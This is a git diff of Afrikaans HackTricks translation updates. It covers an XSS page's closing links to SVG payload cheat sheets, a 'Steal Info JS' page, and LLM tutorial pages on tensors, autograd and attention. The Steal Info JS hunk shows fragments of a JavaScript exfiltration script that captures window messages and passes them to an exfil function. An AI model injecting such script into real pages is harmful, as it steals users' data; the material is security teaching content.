Die [**AMP vir E-pos**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk met inhoud binne hul e-posse te interaksie.
@ -1432,7 +1432,7 @@ id="foo"/>
```
Find **meer SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Verskillende JS Triks & Relevante Inligting
## Verskeie JS Triks & Relevante Inligting
{% content-ref url="other-js-tricks.md" %}
[other-js-tricks.md](other-js-tricks.md)
@ -1446,23 +1446,23 @@ Find **meer SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_vloeiend Pools geskryf en gesproke vereis_).
If you are interested in **hacking loopbaan** and hack the unhackable - **ons huur!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) or the [**telegram groep**](https://t.me/peass) or **volg** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking triks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,6 +1,8 @@
# Steal Info JS
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -8,13 +10,11 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```javascript
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
@ -123,13 +123,11 @@ window.onmessage = function(e){
exfil_info("onmessage", encode(e.data))
}
```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -2,7 +2,7 @@
## Vooropleiding
Vooropleiding is die grondslag fase in die ontwikkeling van 'n groot taalmodel (LLM) waar die model blootgestel word aan groot en diverse hoeveelhede teksdata. Tydens hierdie fase, **leer die LLM die fundamentele strukture, patrone, en nuanses van taal**, insluitend grammatika, woordeskat, sintaksis, en kontekstuele verhoudings. Deur hierdie uitgebreide data te verwerk, verwerf die model 'n breë begrip van taal en algemene wêreldkennis. Hierdie omvattende basis stel die LLM in staat om samehangende en kontekstueel relevante teks te genereer. Vervolgens kan hierdie vooropgeleide model ondergaan fyn-afstemming, waar dit verder opgelei word op gespesialiseerde datastelle om sy vermoëns aan te pas vir spesifieke take of domeine, wat sy prestasie en relevansie in geteikende toepassings verbeter.
Vooropleiding is die grondslag fase in die ontwikkeling van 'n groot taalmodel (LLM) waar die model blootgestel word aan groot en diverse hoeveelhede teksdata. Tydens hierdie fase, **leer die LLM die fundamentele strukture, patrone, en nuanses van taal**, insluitend grammatika, woordeskat, sintaksis, en kontekstuele verhoudings. Deur hierdie uitgebreide data te verwerk, verwerf die model 'n breë begrip van taal en algemene wêreldkennis. Hierdie omvattende basis stel die LLM in staat om samehangende en kontekstueel relevante teks te genereer. Vervolgens kan hierdie vooropgeleide model fyn-afgestem word, waar dit verder opgelei word op gespesialiseerde datastelle om sy vermoëns aan te pas vir spesifieke take of domeine, wat sy prestasie en relevansie in geteikende toepassings verbeter.
## Hoof LLM komponente
@ -11,7 +11,7 @@ Gewoonlik word 'n LLM gekarakteriseer deur die konfigurasie wat gebruik word om
* **Parameters**: Parameters is die **leerbare gewigte en vooroordele** in die neurale netwerk. Dit is die getalle wat die opleidingsproses aanpas om die verliesfunksie te minimaliseer en die model se prestasie op die taak te verbeter. LLMs gebruik gewoonlik miljoene parameters.
* **Kontekslengte**: Dit is die maksimum lengte van elke sin wat gebruik word om die LLM voor te oefen.
* **Inbedigingsdimensie**: Die grootte van die vektor wat gebruik word om elke token of woord voor te stel. LLMs gebruik gewoonlik biljoene dimensies.
* **Versteekte Dimensie**: Die grootte van die versteekte lae in die neurale netwerk.
* **Verborge Dimensie**: Die grootte van die verborge lae in die neurale netwerk.
* **Aantal Lae (Diepte)**: Hoeveel lae die model het. LLMs gebruik gewoonlik tientalle lae.
* **Aantal Aandagkoppe**: In transformermodelle, dit is hoeveel aparte aandagmeganismes in elke laag gebruik word. LLMs gebruik gewoonlik tientalle koppe.
* **Dropout**: Dropout is iets soos die persentasie data wat verwyder word (waarskynlikhede word 0) tydens opleiding wat gebruik word om **oorpassing te voorkom.** LLMs gebruik gewoonlik tussen 0-20%.
@ -32,12 +32,12 @@ GPT_CONFIG_124M = {
In PyTorch, 'n **tensor** is 'n fundamentele datastruktuur wat dien as 'n multi-dimensionele array, wat konsepte soos skalare, vektore en matrikse veralgemeen na moontlik hoër dimensies. Tensors is die primêre manier waarop data voorgestel en gemanipuleer word in PyTorch, veral in die konteks van diep leer en neurale netwerke.
### Wiskundige Konsep van Tensors
### Mathematical Concept of Tensors
* **Skalare**: Tensors van rang 0, wat 'n enkele getal voorstel (nul-dimensioneel). Soos: 5
* **Vektore**: Tensors van rang 1, wat 'n een-dimensionele array van getalle voorstel. Soos: \[5,1]
* **Matrikse**: Tensors van rang 2, wat twee-dimensionele arrays met rye en kolomme voorstel. Soos: \[\[1,3], \[5,2]]
* **Hoër-Rang Tensors**: Tensors van rang 3 of meer, wat data in hoër dimensies voorstel (bv. 3D tensors vir kleurbeelde).
* **Scalars**: Tensors van rang 0, wat 'n enkele getal voorstel (nul-dimensioneel). Soos: 5
* **Vectors**: Tensors van rang 1, wat 'n een-dimensionele array van getalle voorstel. Soos: \[5,1]
* **Matrices**: Tensors van rang 2, wat twee-dimensionele arrays met rye en kolomme voorstel. Soos: \[\[1,3], \[5,2]]
* **Higher-Rank Tensors**: Tensors van rang 3 of meer, wat data in hoër dimensies voorstel (bv. 3D tensors vir kleurbeelde).
### Tensors as Data Containers
@ -45,10 +45,10 @@ Vanuit 'n rekenkundige perspektief, funksioneer tensors as houers vir multi-dime
### PyTorch Tensors vs. NumPy Arrays
Terwyl PyTorch tensors soortgelyk is aan NumPy arrays in hul vermoë om numeriese data te stoor en te manipuleer, bied hulle addisionele funksionaliteite wat noodsaaklik is vir diep leer:
Terwyl PyTorch tensors soortgelyk is aan NumPy arrays in hul vermoë om numeriese data te stoor en te manipuleer, bied hulle addisionele funksies wat noodsaaklik is vir diep leer:
* **Outomatiese Differensiasie**: PyTorch tensors ondersteun outomatiese berekening van gradiënte (autograd), wat die proses van die berekening van afgeleides wat benodig word vir die opleiding van neurale netwerke vereenvoudig.
* **GPU Versnelling**: Tensors in PyTorch kan na en op GPU's beweeg en bereken word, wat groot-skaal berekeninge aansienlik versnel.
* **Automatic Differentiation**: PyTorch tensors ondersteun outomatiese berekening van gradiënte (autograd), wat die proses van die berekening van afgeleides wat benodig word vir die opleiding van neurale netwerke vereenvoudig.
* **GPU Acceleration**: Tensors in PyTorch kan na en op GPU's beweeg en bereken word, wat grootliks die spoed van groot skaal berekeninge versnel.
### Creating Tensors in PyTorch
@ -79,8 +79,8 @@ Jy kan 'n tensor se datatipe nagaan met die `.dtype` attribuut:
tensor1d = torch.tensor([1, 2, 3])
print(tensor1d.dtype) # Output: torch.int64
```
* Tensore wat van Python-heelgetalle geskep is, is van tipe `torch.int64`.
* Tensore wat van Python-vlottende getalle geskep is, is van tipe `torch.float32`.
* Tensors geskep uit Python heelgetalle is van tipe `torch.int64`.
* Tensors geskep uit Python floats is van tipe `torch.float32`.
Om 'n tensor se datatipe te verander, gebruik die `.to()` metode:
```python
@ -101,7 +101,7 @@ print(tensor2d.shape) # Uitset: torch.Size([2, 2])
```python
reshaped = tensor2d.reshape(4, 1)
```
* **Transposisie van Tensors**: Gebruik `.T` om 'n 2D tensor te transponeren.
* **Transposering van Tensors**: Gebruik `.T` om 'n 2D tensor te transponer.
```python
transposed = tensor2d.T
@ -117,7 +117,7 @@ result = tensor2d @ tensor2d.T
Tensors is noodsaaklik in PyTorch vir die bou en opleiding van neurale netwerke:
* Hulle stoor invoerdata, gewigte, en vooroordele.
* Hulle fasiliteer operasies wat vereis word vir vorentoe en agtertoe oorgange in opleidingsalgoritmes.
* Hulle fasiliteer operasies wat vereis word vir vorentoe en agtertoe passasies in opleidingsalgoritmes.
* Met autograd, stel tensors outomatiese berekening van gradiënte moontlik, wat die optimaliseringsproses stroomlyn.
## Outomatiese Differensiasie
@ -128,11 +128,11 @@ Outomatiese differensiasie (AD) is 'n berekeningstegniek wat gebruik word om **d
**1. Die Kettingreël**
In die hart van outomatiese differensiasie is die **kettingreël** van calculus. Die kettingreël stel dat as jy 'n samestelling van funksies het, die afgeleide van die saamgestelde funksie die produk van die afgeleides van die saamgestelde funksies is.
In die hart van outomatiese differensiasie is die **kettingreël** van kalkulus. Die kettingreël stel dat as jy 'n samestelling van funksies het, die afgeleide van die saamgestelde funksie die produk van die afgeleides van die saamgestelde funksies is.
Wiskundig, as `y=f(u)` en `u=g(x)`, dan is die afgeleide van `y` ten opsigte van `x`:
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**2. Berekening Grafiek**
@ -142,7 +142,7 @@ In AD, word berekeninge voorgestel as knope in 'n **berekening grafiek**, waar e
Kom ons oorweeg 'n eenvoudige funksie:
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Waar:
@ -152,13 +152,13 @@ Waar:
Ons wil die gradiënt van die verlies `L` ten opsigte van die gewig `w` en vooroordeel `b` bereken.
**4. Handmatige Gradiënt Berekening**
**4. Berekening van Gradiënte Handmatig**
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
**5. Numeriese Berekening**
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
### Implementering van Outomatiese Differensiasie in PyTorch
@ -214,7 +214,7 @@ In groter neurale netwerke met meerdere lae, word die proses om gradiënte te be
Overweeg 'n eenvoudige neurale netwerk met een verborgen laag:
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
### **4. PyTorch Implementation**
@ -261,21 +261,21 @@ for name, param in net.named_parameters():
if param.requires_grad:
print(f"Gradient of {name}: {param.grad}")
```
In hierdie kode:
In this code:
* **Forward Pass:** Bereken die uitsette van die netwerk.
* **Backward Pass:** `loss.backward()` bereken die gradiënte van die verlies ten opsigte van alle parameters.
* **Parameter Update:** `optimizer.step()` werk die parameters op grond van die berekende gradiënte.
* **Parameter Update:** `optimizer.step()` werk die parameters op gebaseer op die berekende gradiënte.
### **5. Verstaan van Backward Pass**
### **5. Understanding Backward Pass**
Tydens die backward pass:
Tydens die terugwaartse pas:
* PyTorch beweeg deur die berekeningsgrafiek in omgekeerde volgorde.
* PyTorch traverseer die berekeningsgrafiek in omgekeerde volgorde.
* Vir elke operasie, pas dit die kettingreël toe om gradiënte te bereken.
* Gradiënte word bymekaargebring in die `.grad` eienskap van elke parameter tensor.
* Gradiënte word in die `.grad` attribuut van elke parameter tensor geakkumuleer.
### **6. Voordele van Outomatiese Differensiasie**
### **6. Advantages of Automatic Differentiation**
* **Efficiency:** Vermy oorbodige berekeninge deur tussenresultate te hergebruik.
* **Accuracy:** Verskaf presiese afgeleides tot masjienpresisie.

View file

@ -5,7 +5,7 @@
Aandagmeganismes laat neurale netwerke toe om op spesifieke dele van die invoer te f**okus wanneer hulle elke deel van die uitvoer genereer**. Hulle ken verskillende gewigte aan verskillende invoere toe, wat die model help om te besluit watter invoere die relevantste is vir die taak wat voorlê. Dit is van kardinale belang in take soos masjienvertaling, waar die begrip van die konteks van die hele sin noodsaaklik is vir akkurate vertaling.
{% hint style="success" %}
Die doel van hierdie vierde fase is baie eenvoudig: **Pas 'n paar aandagmeganismes toe**. Dit gaan baie **herhalende lae** wees wat die **verhouding van 'n woord in die woordeskat met sy bure in die huidige sin wat gebruik word om die LLM te train, vasvang**.\
Die doel van hierdie vierde fase is baie eenvoudig: **Pas 'n paar aandagmeganismes toe**. Hierdie gaan baie **herhaalde lae** wees wat die **verhouding van 'n woord in die woordeskat met sy bure in die huidige sin wat gebruik word om die LLM te train, vasvang**.\
Daar word baie lae hiervoor gebruik, so 'n groot aantal opleibare parameters gaan hierdie inligting vasvang.
{% endhint %}
@ -47,15 +47,15 @@ Vir elke woord in die sin, bereken die **aandagpunt** ten opsigte van "shiny" de
**Aandagpunt tussen "Hello" en "shiny"**
<figure><img src="../../.gitbook/assets/image (4) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**Aandagpunt tussen "shiny" en "shiny"**
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**Aandagpunt tussen "sun" en "shiny"**
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
#### Stap 2: Normaliseer Aandagpunte om Aandaggewigte te Verkry
@ -65,26 +65,26 @@ Moet nie in die wiskundige terme verlore gaan nie, die doel van hierdie funksie
Boonop word die **softmax** funksie gebruik omdat dit verskille beklemtoon weens die eksponensiële deel, wat dit makliker maak om nuttige waardes te identifiseer.
{% endhint %}
Pas die **softmax-funksie** toe op die aandagpunte om hulle in aandaggewigte te omskep wat tot 1 optel.
Pas die **softmax funksie** toe op die aandagpunte om hulle in aandaggewigte te omskep wat tot 1 optel.
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
Berekening van die eksponensiale:
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
Berekening van die som:
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Berekening van aandaggewigte:
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt="" width="404"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
#### Stap 3: Bereken die Konteksvektor
{% hint style="success" %}
Neem net elke aandaggewig en vermenigvuldig dit met die verwante token dimensies en som dan al die dimensies om net 1 vektor (die konteksvektor) te kry.&#x20;
Neem net elke aandaggewig en vermenigvuldig dit met die verwante token dimensies en som dan al die dimensies om net 1 vektor (die konteksvektor) te kry.
{% endhint %}
Die **konteksvektor** word bereken as die gewigte som van die inbedings van al die woorde, met behulp van die aandaggewigte.
@ -95,13 +95,13 @@ Berekening van elke komponent:
* **Gewigte Inbeding van "Hello"**:
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
* **Gewigte Inbeding van "shiny"**:
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
* **Gewigte Inbeding van "sun"**:
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
Som die gewigte inbedings:
@ -112,33 +112,33 @@ Som die gewigte inbedings:
### Samevatting van die Proses
1. **Bereken Aandagpunte**: Gebruik die dotproduk tussen die inbeding van die teikenwoord en die inbedings van al die woorde in die volgorde.
2. **Normaliseer Punte om Aandaggewigte te Verkry**: Pas die softmax-funksie toe op die aandagpunte om gewigte te verkry wat tot 1 optel.
2. **Normaliseer Punte om Aandaggewigte te Verkry**: Pas die softmax funksie toe op die aandagpunte om gewigte te verkry wat tot 1 optel.
3. **Bereken Konteksvektor**: Vermenigvuldig elke woord se inbeding met sy aandaggewig en som die resultate.
## Self-Aandag met Opleibare Gewigte
In praktyk gebruik self-aandagmeganismes **opleibare gewigte** om die beste voorstellings vir navrae, sleutels en waardes te leer. Dit behels die bekendstelling van drie gewigmatrices:
In praktyk gebruik self-aandagmeganismes **opleibare gewigte** om die beste voorstellings vir navrae, sleutels en waardes te leer. Dit behels die bekendstelling van drie gewig matrikse:
<figure><img src="../../.gitbook/assets/image (10) (1).png" alt="" width="239"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
Die navraag is die data om soos voorheen te gebruik, terwyl die sleutels en waardes matriks bloot ewekansige-opleibare matriks is.
Die navraag is die data om soos voorheen te gebruik, terwyl die sleutels en waardes matrikse bloot ewekansige-opleibare matrikse is.
#### Stap 1: Bereken Navrae, Sleutels en Waardes
#### Stap 1: Bereken Navrae, Sleutels, en Waardes
Elke token sal sy eie navraag, sleutel en waardematrix hê deur sy dimensiewaarde met die gedefinieerde matriks te vermenigvuldig:
Elke token sal sy eie navraag, sleutel en waarde matriks hê deur sy dimensiewaarde met die gedefinieerde matrikse te vermenigvuldig:
<figure><img src="../../.gitbook/assets/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
Hierdie matriks transformeer die oorspronklike inbedings in 'n nuwe ruimte wat geskik is vir die berekening van aandag.
Hierdie matrikse transformeer die oorspronklike inbedings in 'n nuwe ruimte wat geskik is vir die berekening van aandag.
**Voorbeeld**
Aanvaar:
Aannemend:
* Invoerdimensie `din=3` (inbedinggrootte)
* Uitvoerdimensie `dout=2` (gewensde dimensie vir navrae, sleutels, en waardes)
* Invoer dimensie `din=3` (inbeding grootte)
* Uitvoer dimensie `dout=2` (gewens dimensie vir navrae, sleutels, en waardes)
Inisialiseer die gewigmatrices:
Inisialiseer die gewig matrikse:
```python
import torch.nn as nn
@ -159,7 +159,7 @@ values = torch.matmul(inputs, W_value)
**Bereken Aandag Punte**
Soos in die voorbeeld van tevore, maar hierdie keer, in plaas daarvan om die waardes van die dimensies van die tokens te gebruik, gebruik ons die sleutel matriks van die token (wat reeds bereken is met behulp van die dimensies):. So, vir elke navraag `qi` en sleutel `kj`:
Soos in die vorige voorbeeld, maar hierdie keer, in plaas daarvan om die waardes van die dimensies van die tokens te gebruik, gebruik ons die sleutel matriks van die token (wat reeds bereken is met behulp van die dimensies):. So, vir elke navraag `qi` en sleutel `kj`:
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
@ -185,7 +185,7 @@ Soos in die aanvanklike voorbeeld, som net al die waardes matriks op deur elkeen
### Kode Voorbeeld
Gryp 'n voorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) jy kan hierdie klas kyk wat die self-aandag funksionaliteit implementeer waaroor ons gepraat het:
Grijp 'n voorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) jy kan hierdie klas kyk wat die self-aandag funksionaliteit implementeer waaroor ons gepraat het:
```python
import torch
@ -225,7 +225,7 @@ sa_v2 = SelfAttention_v2(d_in, d_out)
print(sa_v2(inputs))
```
{% hint style="info" %}
Let daarop dat in plaas van om die matriks met ewekansige waardes te initialiseer, `nn.Linear` gebruik word om al die gewigte as parameters te merk om te train.
Let daarop dat in plaas daarvan om die matriks met ewekansige waardes te initialiseer, `nn.Linear` gebruik word om al die gewigte as parameters te merk om te train.
{% endhint %}
## Causale Aandag: Toekomstige Woorde Versteek
@ -330,7 +330,7 @@ print("context_vecs.shape:", context_vecs.shape)
### Kode Voorbeeld
Dit kan moontlik wees om die vorige kode te hergebruik en net 'n wrapper toe te voeg wat dit verskeie kere lanseer, maar dit is 'n meer geoptimaliseerde weergawe van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) wat al die koppe terselfdertyd verwerk (wat die aantal duur for loops verminder). Soos jy in die kode kan sien, word die dimensies van elke token in verskillende dimensies verdeel volgens die aantal koppe. Op hierdie manier, as 'n token 8 dimensies het en ons 3 koppe wil gebruik, sal die dimensies in 2 arrays van 4 dimensies verdeel word en elke kop sal een daarvan gebruik:
Dit kan moontlik wees om die vorige kode te hergebruik en net 'n omhulsel toe te voeg wat dit verskeie kere begin, maar dit is 'n meer geoptimaliseerde weergawe van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) wat al die koppe gelyktydig verwerk (wat die aantal duur vir-lusse verminder). Soos jy in die kode kan sien, word die dimensies van elke token in verskillende dimensies verdeel volgens die aantal koppe. Op hierdie manier, as 'n token 8 dimensies het en ons 3 koppe wil gebruik, sal die dimensies in 2 arrays van 4 dimensies verdeel word en elke kop sal een daarvan gebruik:
```python
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
@ -412,7 +412,7 @@ Vir 'n ander kompakte en doeltreffende implementering kan jy die [`torch.nn.Mult
{% hint style="success" %}
Kort antwoord van ChatGPT oor hoekom dit beter is om dimensies van tokens onder die koppe te verdeel in plaas daarvan om elke kop al die dimensies van al die tokens te laat nagaan:
Terwyl dit mag voorkom asof dit voordelig is om elke kop al die inbedingsdimensies te laat verwerk omdat elke kop toegang tot die volle inligting sou hê, is die standaardpraktyk om die **inbedingsdimensies onder die koppe te verdeel**. Hierdie benadering balanseer rekenaardoeltreffendheid met modelprestasie en moedig elke kop aan om diverse voorstellings te leer. Daarom is dit oor die algemeen verkieslik om die inbedingsdimensies te verdeel eerder as om elke kop al die dimensies te laat nagaan.
Terwyl dit dalk voordelig mag lyk om elke kop toegang te gee tot al die inbedingsdimensies, is die standaardpraktyk om die **inbedingsdimensies onder die koppe te verdeel**. Hierdie benadering balanseer rekenaardoeltreffendheid met modelprestasie en moedig elke kop aan om diverse voorstellings te leer. Daarom is dit oor die algemeen verkieslik om die inbedingsdimensies te verdeel eerder as om elke kop al die dimensies te laat nagaan.
{% endhint %}
## References

View file

@ -12,17 +12,17 @@ LLM argitektuur voorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/m
'n Hoë vlak voorstelling kan waargeneem word in:
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
